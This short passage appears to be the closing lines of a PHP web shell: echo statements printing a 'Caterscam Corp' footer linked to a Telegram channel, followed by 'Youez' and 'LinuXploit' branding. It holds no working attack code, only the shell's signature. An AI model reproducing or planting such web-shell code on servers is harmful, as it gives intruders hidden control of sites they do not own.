echo '<a href="https://t.me/caterscam" style="color: yellow; text-decoration: none;">© 2024 Caterscam Corp</a>';
echo '</div>';

?>

Youez - 2016 - github.com/yon3zu
LinuXploit